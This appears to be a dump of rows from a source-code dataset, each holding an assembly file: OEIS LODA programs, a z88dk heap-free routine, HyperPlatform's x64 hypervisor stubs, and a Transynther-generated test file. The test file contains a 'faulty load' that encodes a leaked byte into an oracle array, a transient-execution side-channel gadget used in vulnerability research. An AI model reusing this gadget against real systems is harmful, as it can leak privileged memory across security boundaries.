hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f7b7b7572a1f4329d763a18a3644bf710c96c3d3 | 336 | asm | Assembly | oeis/183/A183623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/183/A183623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/183/A183623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A183623: Number of (n+1)X(n+1) 0..2 arrays with every 2X2 subblock summing to 4
; Submitted by Christian Krause
; 19,87,355,1383,5299,20247,77635,299463,1162579,4540407
add $0,2
mov $2,4
pow $2,$0
seq $0,101052 ; Number of preferential arrangements of n labeled elements when only k<=3 ranks are allowed.
mul $0,2
add $0,$2
sub $0,3
| 28 | 107 | 0.72619 |
84077f9f72b79a316d03b1c542258371f02a2039 | 3,661 | asm | Assembly | libsrc/malloc/HeapFree_callee.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 8 | 2017-01-18T12:02:17.000Z | 2021-06-12T09:40:28.000Z | libsrc/malloc/HeapFree_callee.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2017-03-06T07:41:56.000Z | 2017-03-06T07:41:56.000Z | libsrc/malloc/HeapFree_callee.asm | RC2014Z80/z88dk | e5b9447b970e5fae26544b6d8aa5957c98ba0e6a | [
"ClArtistic"
] | 3 | 2017-03-07T03:19:40.000Z | 2021-09-15T17:59:19.000Z | ; void __CALLEE__ HeapFree_callee(void *heap, void *addr)
; 12.2006 aralbrec
SECTION code_clib
PUBLIC HeapFree_callee
PUBLIC _HeapFree_callee
PUBLIC ASMDISP_HEAPFREE_CALLEE
.HeapFree_callee
._HeapFree_callee
pop bc
pop hl
pop de
push bc
.asmentry
; Return memory block to indicated heap. Available
; blocks must be kept sorted in increasing order by
; start address so that adjacent blocks can be merged.
;
; Not allowed to use IX,IY,EXX so a bit constrained.
;
; enter : de = & heap pointer
; hl = block address (+2)
; uses : af, bc, de, hl
.MAHeapFree
ld a,h
or l
ret z
inc de
inc de
dec hl
ld b,(hl)
dec hl
ld c,(hl)
push hl
add hl,bc
inc hl
inc hl
ld c,l
ld b,h
ex de,hl
; hl = & lagger's next pointer
; bc = address following block to free
; stack = & block to free
.loop
; hl = & lagger's next pointer
; bc = address following block to free
; stack = & block to free
ld a,(hl)
inc hl
push hl ; save & lagger->next + 1b
ld h,(hl)
ld l,a ; hl = & next block
or h ; if there is no next block...
jr z, placeatend
sbc hl,bc ; next block - address following block to free
jr z, mergeontop
jr nc, insertbefore
adc hl,bc
inc hl ; hl = & next block->next
pop de ; junk lagger
jp loop
.insertbefore
add hl,bc
.placeatend
ld c,l
ld b,h
pop hl
; bc = & next block
; hl = & lagger->next + 1b
; stack = & block to free
jp checkformergebelow
.mergeontop
; bc = & next block
; stack = & block to free, & lagger->next + 1b
ld l,c
ld h,b
ld e,(hl)
inc hl
ld d,(hl) ; de = size of next block
inc de
inc de ; reclaim two bytes for next block's size parameter
inc hl
ld c,(hl)
inc hl
ld b,(hl) ; bc = & next block after merged blocks
pop hl
ex (sp),hl ; hl = & block to free, stack = & lagger->next + 1b
ld a,(hl) ; add next block's size to merged block
add a,e
ld (hl),a
inc hl
ld a,(hl)
adc a,d
ld (hl),a
dec hl
ex (sp),hl
.checkformergebelow
; bc = & next block after free
; hl = & lagger->next + 1b
; stack = & block to free
dec hl
ld e,l
ld d,h ; de = & lagger->next
dec hl
ld a,(hl)
dec hl
ld l,(hl)
ld h,a ; hl = size of lagger block
add hl,de ; hl = byte past end of lagger block
ex de,hl
ex (sp),hl
ex de,hl
; bc = & next block after free
; hl = byte past end of lagger block
; de = & block to free
; stack = & lagger->next
sbc hl,de ; carry must be clear here
pop hl
jr z, mergebelow
.nomergebelow
; bc = & next block after free
; de = & block to free
; hl = & lagger->next
ld (hl),e
inc hl
ld (hl),d
inc de
inc de
ex de,hl
ld (hl),c
inc hl
ld (hl),b
ret
.mergebelow
; bc = & next block after free
; de = & block to free
; hl = & lagger->next
ld (hl),c
inc hl
ld (hl),b ; write new next pointer for merged block
dec hl
ld a,(de)
ld c,a
inc de
ld a,(de)
ld b,a
inc bc
inc bc ; bc = size of block to merge + 2 for size parameter
dec hl
dec hl
ld a,(hl)
add a,c
ld (hl),a
inc hl
ld a,(hl)
adc a,b
ld (hl),a
ret
DEFC ASMDISP_HEAPFREE_CALLEE = # asmentry - HeapFree_callee
| 18.305 | 81 | 0.530456 |
9d7db11ede8e7d5361d4f1fb93c1dd5528063e04 | 687 | asm | Assembly | programs/oeis/236/A236313.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/236/A236313.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/236/A236313.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A236313: Recurrence: a(2n) = 3a(n)-1, a(2n+1) = 1.
; 1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,122,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,365,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,122,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,1094,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,122,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,365,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,122,1,2,1,5,1,2,1,14,1,2,1,5,1,2,1,41,1,2,1,5,1,2,1,14,1,2
add $0,1
gcd $0,1073741824
lpb $0,1
div $0,2
add $1,3
mul $1,3
lpe
div $1,27
add $1,1
| 52.846154 | 540 | 0.540029 |
1af42cc36815ad6980f9c94d4a96c17444bd2a53 | 10,792 | asm | Assembly | HyperPlatform/Arch/x64/x64.asm | Ivan-Nebogatikov/HyperPlatform | c0403b2f80252bf6930665ed06d80d6d4b00798f | [
"MIT"
] | 2 | 2018-09-13T05:26:59.000Z | 2018-09-14T08:44:22.000Z | HyperPlatform/Arch/x64/x64.asm | IBinary6/HyperPlatform | 5c90bf0feecf9d92ad03eac2dcf7d84cfd2399e0 | [
"MIT"
] | null | null | null | HyperPlatform/Arch/x64/x64.asm | IBinary6/HyperPlatform | 5c90bf0feecf9d92ad03eac2dcf7d84cfd2399e0 | [
"MIT"
] | 1 | 2020-08-21T02:16:16.000Z | 2020-08-21T02:16:16.000Z | ; Copyright (c) 2015-2018, Satoshi Tanda. All rights reserved.
; Use of this source code is governed by a MIT-style license that can be
; found in the LICENSE file.
;
; This module implements all assembler code
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; References to C functions
;
EXTERN VmmVmExitHandler : PROC
EXTERN VmmVmxFailureHandler : PROC
EXTERN UtilDumpGpRegisters : PROC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; constants
;
.CONST
VMX_OK EQU 0
VMX_ERROR_WITH_STATUS EQU 1
VMX_ERROR_WITHOUT_STATUS EQU 2
KTRAP_FRAME_SIZE EQU 190h
MACHINE_FRAME_SIZE EQU 28h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; macros
;
; Saves all general purpose registers to the stack
PUSHAQ MACRO
push rax
push rcx
push rdx
push rbx
push -1 ; dummy for rsp
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
ENDM
; Loads all general purpose registers from the stack
POPAQ MACRO
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
add rsp, 8 ; dummy for rsp
pop rbx
pop rdx
pop rcx
pop rax
ENDM
; Dumps all general purpose registers and a flag register.
ASM_DUMP_REGISTERS MACRO
pushfq
PUSHAQ ; -8 * 16
mov rcx, rsp ; all_regs
mov rdx, rsp
add rdx, 8*17 ; stack_pointer
sub rsp, 28h ; 28h for alignment
call UtilDumpGpRegisters ; UtilDumpGpRegisters(all_regs, stack_pointer);
add rsp, 28h
POPAQ
popfq
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; implementations
;
.CODE
; bool __stdcall AsmInitializeVm(
; _In_ void (*vm_initialization_routine)(_In_ ULONG_PTR, _In_ ULONG_PTR,
; _In_opt_ void *),
; _In_opt_ void *context);
AsmInitializeVm PROC
; RSP is not 16 bit aligned when it gets called, but the following odd
; number (17 times) of push makes RSP 16 bit aligned.
pushfq
PUSHAQ ; -8 * 16
mov rax, rcx
mov r8, rdx
mov rdx, asmResumeVm
mov rcx, rsp
sub rsp, 20h
call rax ; vm_initialization_routine(rsp, asmResumeVm, context)
add rsp, 20h
POPAQ
popfq
xor rax, rax ; return false
ret
; This is where the virtualized guest start to execute after successful
; vmlaunch.
asmResumeVm:
nop ; keep this nop for ease of debugging
POPAQ
popfq
sub rsp, 8 ; align RSP
ASM_DUMP_REGISTERS
add rsp, 8 ; restore RSP
xor rax, rax
inc rax ; return true
ret
AsmInitializeVm ENDP
; void __stdcall AsmVmmEntryPoint();
AsmVmmEntryPoint PROC FRAME
; In oder for Windbg to display the stack trace of the guest while the
; VM-exit handlers are being executed, we use several tricks:
; - The use of the FRAME (above) attribute. This emits a function table
; entry for this function in the .pdata section. See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/proc?view=vs-2017
;
; - The use of the .PUSHFRAME pseudo operation: This emits unwind data
; indicating that a machine frame has been pushed on the stack. A machine
; frame is usually pushed by the CPU in response to a trap or fault (
; see: Exception- or Interrupt-Handler Procedures), hence this pseudo
; operation is often used for their handler code. (In Windows kernel, the
; use of this pseudo operation is often wrapped in the GENERATE_TRAP_FRAME
; macro.) In our case, since VM-exit does not push the machine frame, we
; manually allocate it in right above the VMM stack pointer. Nothing has
; to be done in this function with regard to pushing the machine frame
; since that and the VMM stack pointer are both already set up in
; VmpInitializeVm. See the diagram in VmpInitializeVm for more details.
; See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-pushframe?view=vs-2017
;
; - The use of the .ALLOCSTACK pseudo operation: This also emits another
; unwind data indicating how much the function uses stack. (This pseudo
; code is often wrapped by the alloc_stack macro and used within the
; GENERATE_TRAP_FRAME macro). This function consumes 108h of stack on
; the top of the KTRAP_FRAME size (minus the machine frame size which is
; already allocated outside this function). See also:
; https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-allocstack?view=vs-2017
.PUSHFRAME
sub rsp, KTRAP_FRAME_SIZE - MACHINE_FRAME_SIZE
.ALLOCSTACK KTRAP_FRAME_SIZE - MACHINE_FRAME_SIZE + 108h
; No need to save the flag registers since it is restored from the VMCS at
; the time of vmresume.
PUSHAQ ; -8 * 16
mov rcx, rsp ; save the "stack" parameter for VmmVmExitHandler
; save volatile XMM registers
sub rsp, 68h ; 8 for alignment
movaps xmmword ptr [rsp + 0h], xmm0
movaps xmmword ptr [rsp + 10h], xmm1
movaps xmmword ptr [rsp + 20h], xmm2
movaps xmmword ptr [rsp + 30h], xmm3
movaps xmmword ptr [rsp + 40h], xmm4
movaps xmmword ptr [rsp + 50h], xmm5
sub rsp, 20h
; All stack allocation is done now. Indicate the end of prologue as required
; by the FRAME attribute.
.ENDPROLOG
call VmmVmExitHandler ; bool vm_continue = VmmVmExitHandler(stack);
add rsp, 20h
; restore XMM registers
movaps xmm0, xmmword ptr [rsp + 0h]
movaps xmm1, xmmword ptr [rsp + 10h]
movaps xmm2, xmmword ptr [rsp + 20h]
movaps xmm3, xmmword ptr [rsp + 30h]
movaps xmm4, xmmword ptr [rsp + 40h]
movaps xmm5, xmmword ptr [rsp + 50h]
add rsp, 68h
test al, al
jz exitVm ; if (!vm_continue) jmp exitVm
POPAQ
vmresume
jmp vmxError
exitVm:
; Executes vmxoff and ends virtualization
; rax = Guest's rflags
; rdx = Guest's rsp
; rcx = Guest's rip for the next instruction
POPAQ
vmxoff
jz vmxError ; if (ZF) jmp
jc vmxError ; if (CF) jmp
push rax
popfq ; rflags <= GurstFlags
mov rsp, rdx ; rsp <= GuestRsp
push rcx
ret ; jmp AddressToReturn
vmxError:
; Diagnose a critical error
pushfq
PUSHAQ ; -8 * 16
mov rcx, rsp ; all_regs
sub rsp, 28h ; 28h for alignment
call VmmVmxFailureHandler ; VmmVmxFailureHandler(all_regs);
add rsp, 28h
int 3
AsmVmmEntryPoint ENDP
; unsigned char __stdcall AsmVmxCall(_In_ ULONG_PTR hypercall_number,
; _In_opt_ void *context);
AsmVmxCall PROC
vmcall ; vmcall(hypercall_number, context)
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmVmxCall ENDP
; void __stdcall AsmWriteGDT(_In_ const GDTR *gdtr);
AsmWriteGDT PROC
lgdt fword ptr [rcx]
ret
AsmWriteGDT ENDP
; void __stdcall AsmWriteLDTR(_In_ USHORT local_segmeng_selector);
AsmWriteLDTR PROC
lldt cx
ret
AsmWriteLDTR ENDP
; USHORT __stdcall AsmReadLDTR();
AsmReadLDTR PROC
sldt ax
ret
AsmReadLDTR ENDP
; void __stdcall AsmWriteTR(_In_ USHORT task_register);
AsmWriteTR PROC
ltr cx
ret
AsmWriteTR ENDP
; USHORT __stdcall AsmReadTR();
AsmReadTR PROC
str ax
ret
AsmReadTR ENDP
; void __stdcall AsmWriteES(_In_ USHORT segment_selector);
AsmWriteES PROC
mov es, cx
ret
AsmWriteES ENDP
; USHORT __stdcall AsmReadES();
AsmReadES PROC
mov ax, es
ret
AsmReadES ENDP
; void __stdcall AsmWriteCS(_In_ USHORT segment_selector);
AsmWriteCS PROC
mov cs, cx
ret
AsmWriteCS ENDP
; USHORT __stdcall AsmReadCS();
AsmReadCS PROC
mov ax, cs
ret
AsmReadCS ENDP
; void __stdcall AsmWriteSS(_In_ USHORT segment_selector);
AsmWriteSS PROC
mov ss, cx
ret
AsmWriteSS ENDP
; USHORT __stdcall AsmReadSS();
AsmReadSS PROC
mov ax, ss
ret
AsmReadSS ENDP
; void __stdcall AsmWriteDS(_In_ USHORT segment_selector);
AsmWriteDS PROC
mov ds, cx
ret
AsmWriteDS ENDP
; USHORT __stdcall AsmReadDS();
AsmReadDS PROC
mov ax, ds
ret
AsmReadDS ENDP
; void __stdcall AsmWriteFS(_In_ USHORT segment_selector);
AsmWriteFS PROC
mov fs, cx
ret
AsmWriteFS ENDP
; USHORT __stdcall AsmReadFS();
AsmReadFS PROC
mov ax, fs
ret
AsmReadFS ENDP
; void __stdcall AsmWriteGS(_In_ USHORT segment_selector);
AsmWriteGS PROC
mov gs, cx
ret
AsmWriteGS ENDP
; USHORT __stdcall AsmReadGS();
AsmReadGS PROC
mov ax, gs
ret
AsmReadGS ENDP
; ULONG_PTR __stdcall AsmLoadAccessRightsByte(_In_ ULONG_PTR segment_selector);
AsmLoadAccessRightsByte PROC
lar rax, rcx
ret
AsmLoadAccessRightsByte ENDP
; void __stdcall AsmInvalidateInternalCaches();
AsmInvalidateInternalCaches PROC
invd
ret
AsmInvalidateInternalCaches ENDP
; void __stdcall AsmWriteCR2(_In_ ULONG_PTR cr2_value);
AsmWriteCR2 PROC
mov cr2, rcx
ret
AsmWriteCR2 ENDP
; unsigned char __stdcall AsmInvept(
; _In_ InvEptType invept_type,
; _In_ const InvEptDescriptor *invept_descriptor);
AsmInvept PROC
; invept ecx, oword ptr [rdx]
db 66h, 0fh, 38h, 80h, 0ah
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmInvept ENDP
; unsigned char __stdcall AsmInvvpid(
; _In_ InvVpidType invvpid_type,
; _In_ const InvVpidDescriptor *invvpid_descriptor);
AsmInvvpid PROC
; invvpid ecx, oword ptr [rdx]
db 66h, 0fh, 38h, 81h, 0ah
jz errorWithCode ; if (ZF) jmp
jc errorWithoutCode ; if (CF) jmp
xor rax, rax ; return VMX_OK
ret
errorWithoutCode:
mov rax, VMX_ERROR_WITHOUT_STATUS
ret
errorWithCode:
mov rax, VMX_ERROR_WITH_STATUS
ret
AsmInvvpid ENDP
PURGE PUSHAQ
PURGE POPAQ
PURGE ASM_DUMP_REGISTERS
END
| 25.756563 | 89 | 0.633154 |
de27845965bd1019c398aabf8bc72c00c1f83921 | 974 | asm | Assembly | programs/oeis/022/A022921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/022/A022921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/022/A022921.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A022921: Number of 2^m between 3^n and 3^(n+1).
; 1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2,1,2,1,2,2,1,2,1,2,2,1,2
mov $11,$0
mov $13,2
lpb $13,1
clr $0,11
mov $0,$11
sub $13,1
add $0,$13
mul $0,3
mov $6,5038
mov $8,123
add $10,$0
lpb $0,1
mov $0,0
add $2,2
mul $2,17
mul $6,$10
add $8,1
div $6,$8
div $6,$2
mov $5,$6
add $5,41
lpe
mov $1,$5
sub $1,41
mov $14,$13
lpb $14,1
mov $12,$1
sub $14,1
lpe
lpe
lpb $11,1
mov $11,0
sub $12,$1
lpe
mov $1,$12
sub $1,2
| 24.35 | 501 | 0.492813 |
afc1e52d84e638f5d1ea44da962da7aa4046b380 | 5,691 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1259.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1259.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1259.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xd086, %r8
nop
nop
nop
add %r10, %r10
movb (%r8), %al
nop
nop
nop
xor $13725, %r15
lea addresses_WC_ht+0x2d06, %rdi
add $13357, %r14
vmovups (%rdi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r8
nop
nop
nop
and %r14, %r14
lea addresses_D_ht+0x4106, %r10
xor $46154, %r11
mov (%r10), %di
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_WC_ht+0x1272e, %r11
nop
nop
nop
nop
xor %rdi, %rdi
mov (%r11), %rax
nop
nop
nop
nop
xor $20316, %rdi
lea addresses_A_ht+0x4d50, %rsi
lea addresses_WC_ht+0x15e06, %rdi
nop
inc %r10
mov $92, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x175b6, %rsi
lea addresses_A_ht+0x177e6, %rdi
clflush (%rsi)
nop
nop
nop
add $51091, %rax
mov $6, %rcx
rep movsq
nop
nop
nop
dec %r15
lea addresses_WT_ht+0x15906, %rsi
lea addresses_A_ht+0xb686, %rdi
nop
nop
nop
nop
nop
xor $766, %r15
mov $81, %rcx
rep movsw
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r8
push %rdx
// Faulty Load
lea addresses_D+0x1c106, %r12
inc %r8
movb (%r12), %dl
lea oracles, %r15
and $0xff, %rdx
shlq $12, %rdx
mov (%r15,%rdx,1), %rdx
pop %rdx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 40.077465 | 2,999 | 0.659111 |
29e0121cc81f4b25386b2652aff21c019e1d4a07 | 3,660 | asm | Assembly | third_party/p7zip/Asm/x86/7zCrcOpt_asm.asm | VirtualLib/juice | 3d5912059f3a80ec1fef5c5031a395578904fe9c | [
"MIT"
